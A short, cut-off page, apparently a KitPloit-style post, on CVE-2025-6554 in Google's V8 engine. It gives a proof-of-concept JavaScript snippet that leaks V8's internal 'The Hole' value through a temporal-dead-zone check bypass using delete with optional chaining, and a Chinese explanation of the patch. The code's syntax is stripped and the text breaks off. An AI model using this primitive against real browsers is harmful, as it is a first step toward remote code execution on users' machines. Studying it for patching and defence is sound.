CVE-2025-6554

CVE-2025-6554 root@kitploit: function leakhole let x; delete x?.y?.a; return y; let y; function pwn let hole = leakhole; %DebugPrinthole; pwn; 漏洞 变量 y 在声明之前被访问。正常情况下这会触发 ReferenceError（暂存死区，TDZ），但在旧版 V8 中，当与 delete x?.y 结合使用时，检查失败并返回内部哨兵值 "The Hole"。 补丁前 V8 仅检查了一次 TDZ，然后错误地假设 y 是有效的。这使得 "The Hole...